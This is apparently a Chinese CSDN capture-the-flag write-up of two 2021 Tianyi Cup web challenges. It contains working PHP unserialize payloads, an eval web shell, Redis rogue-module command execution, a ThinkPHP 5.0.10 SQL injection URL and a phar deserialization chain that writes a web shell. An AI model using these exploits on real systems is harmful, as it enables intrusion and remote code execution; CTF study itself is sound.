2021天翼杯WEB

3 篇文章 0 订阅


复现环境: NSSCTF


2021 天翼杯

esay_eval

访问首页直接给出源码:

<?php
class A{
    public $code = "";
    function __call($method,$args){
        eval($this->code);
        
    }
    function __wakeup(){
        $this->code = "";
    }
}

class B{
    function __destruct(){
        echo $this->a->a();
    }
}
if(isset($_REQUEST['poc'])){
    preg_match_all('/"[BA]":(.*?):/s',$_REQUEST['poc'],$ret);
    if (isset($ret[1])) {
        foreach ($ret[1] as $i) {
            if(intval($i)!==1){
                exit("you want to bypass wakeup ? no !");
            }
        }
        unserialize($_REQUEST['poc']);    
    }


}else{
    highlight_file(__FILE__);
}

构造 payload:

<?php
class A{
    public $code = "";
}

class B{
}

$a = new A();
$a->code = "phpinfo();";
$b = new B();
$b->a = $a;
echo serialize($b);
//O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}}

不过这里需要绕 wakeup 方法,

# PHP 对类名大小写不敏感绕过正则进而可以绕过 wakeup
/?poc=O:1:"B":1:{s:1:"a";O:1:"a":2:{s:4:"code";s:10:"phpinfo();";}}

# 另一种绕过方式
?poc=O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:10:"phpinfo();";}1}

发现存在 open_basedir=/tmp/:/var/www/html/ 和 disable_functions。

image-20220222193718747

改 payload 并用蚁剑连接:

?poc=O:1:"B":1:{s:1:"a";O:1:"A":1:{s:4:"code";s:16:"eval($_POST[1]);";}1}

image-20220222194057777

连接成功看到 config.php.swp 文件,用 vim -r config.php.swp 恢复一下得到内容:

<?php

define("DB_HOST","localhost");
define("DB_USERNAME","root");
define("DB_PASSWOrd","");
define("DB_DATABASE","test");

define("REDIS_PASS","you_cannot_guess_it");

可以借助 redis 执行命令,将 redis-rogue-server 项目里的 exp.so 通过蚁剑上传到 /var/www/html 上,借助蚁剑的 Redis 管理插件进行连接并执行指令:

module load /var/www/html/exp.so
system.exec id
system.exec "ls /"
system.exec "cat /flag*"

image-20220222202839691


EzTP

参考文章:天翼杯 2021

直接访问 /www.zip 就能下载源码进行审计,或者在 /robots.txt 里也能看到 www.zip。

thinkphp版本为 5.0.10。

image-20220224174053742

首页登录处代码:

image-20220224173950109

直接 thinkphp5.0.10 sql注入即可:

/public/index.php?username[0]=not%20like&username[1][0]=%%&username[1][1]=233&username[2]=)%20union%20select%201,2,3%23&password=3

image-20220224174356597

admin 处可以上传文件,查看源码,很明显上传然后配合 phar 反序列化:

image-20220224183230380

php一大部分的文件系统函数在通过 phar:// 伪协议解析 phar 文件时,都会将 meta-data 进行反序列化,受影响的函数如下:

file()file_exists()file_get_contents()file_put_contents()
fileatime()filectime()filegroup()fileinode()
filemtime()fileowner()fileperms()fopen()
is_dir()is_executable()is_file()is_link()
is_readable()is_writable()is_writeable()parse_ini_file()
copy()readfile()stat()unlink()

具体说明参考利用 phar 拓展 php 反序列化漏洞攻击面

这里 is_dir 函数配合 phar:// 伪协议解析 phar 文件时会造成反序列化。

后面就是 thinkphp5.0.10 反序列化链了,参考 thinkphp5.0.*反序列化链分析(5.0全版本覆盖)

有一点区别,就是在 /thinkphp/library/think/Process.php 中的 close 方法被加了如下代码:

if(method_exists($this->processPipes,'close')){
    $this->processPipes->close();
}

image-20220224184458352

判断了 $this->processPipes 指向的类是否含有 close 方法,若不含有就不调用,所以此路被封,需要重新找。

不过借助 /thinkphp/library/think/session/driver/Memcache.php 的 close 方法即可

image-20220224184833595

改后的链子:

<?php
namespace think;
use think\session\driver\Memcache;
class Process
{
    private $processPipes;
    private $status;
    private $processInformation;
    public function  __construct(){
        $this->processInformation['running']=true;
        $this->status=3;
        $this->processPipes=(new Memcache(1));
    }
}


namespace think;
class Model{}


namespace think\model;
use think\Model;
class Merge extends Model{
    public $a='1';
    public function __construct(){}
}


namespace think\model\relation;
use think\console\Output;
use think\db\Query;
use think\model\Merge;
use think\model\Relation;
class HasMany extends Relation
{
    //protected $baseQuery=true;
    protected $parent;
    protected $localKey='a';
    protected $foreignKey='a';
    protected $pivot;
    public function __construct(){
        $this->query=new Output();
        $this->parent= new Merge();

    }
}


namespace think\model;
class Relation{}


namespace think\db;
class Query{}


namespace think\console;
class Output{
    protected $styles = [
        'info',
        'error',
        'comment',
        'question',
        'highlight',
        'warning',
        'getTable',
        'where'
    ];
    private $handle;
    public function __construct()
    {
        $this->handle = (new \think\session\driver\Memcache(0));
    }
}


namespace think\session\driver;
class Memcache
{
    protected $handler;
    public function __construct($i)
    {
        if($i==0){
            $this->handler = (new \think\cache\driver\Memcached(0));
        }else{
            $this->handler = (new \think\model\relation\HasMany);
        }
    }
}


namespace think\cache\driver;
class Memcached
{
    protected $tag;
    protected $options;
    protected $handler;

    public function __construct($i)
    {
        if($i==0){
            $this->tag = true;
            $this->options = [
                'expire'   => 0,
                'prefix'   => 'PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+',  /* eval($_POST[1]);?> */
            ];
            $this->handler = (new File);
        }
    }
}

class File
{
    protected $tag;
    protected $options;
    public function __construct()
    {
        $this->tag = false;
        $this->options = [
            'expire'        => 3600,
            'cache_subdir'  => false,
            'prefix'        => '',
            'data_compress' => false,
            'path'          => 'php://filter/write=convert.base64-decode/resource=/var/www/html/public/',
        ];
    }
}

@unlink("phar.phar");
$phar = new \Phar("phar.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89A <?php __HALT_COMPILER(); ?>"); //设置stub
$phar->setMetadata(new \think\Process()); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
//签名自动计算
$phar->stopBuffering();

生成 phar.phar 文件,改名为 phar.jpg 并更换头像:

image-20220224185810996

访问如下链接触发反序列化

/public/admin/index/listpic?dir=phar:///var/www/html/public/static/img/person.jpg

会写入一个恶意文件,其中文件名经过分析后发现可以借助如下代码生成:

<?php
    $code = "PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8+"; /* eval($_POST[1]);?> */
	$tag = True;
    $filename = md5($code.'tag_'.md5($tag)).".php";
	echo $filename; // fd25663b72dc7867bc6b0764ce53cd49.php
?>

image-20220224190048386

转载请注明出处
本文网址:https://blog.csdn.net/hiahiachang/article/details/123118665

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值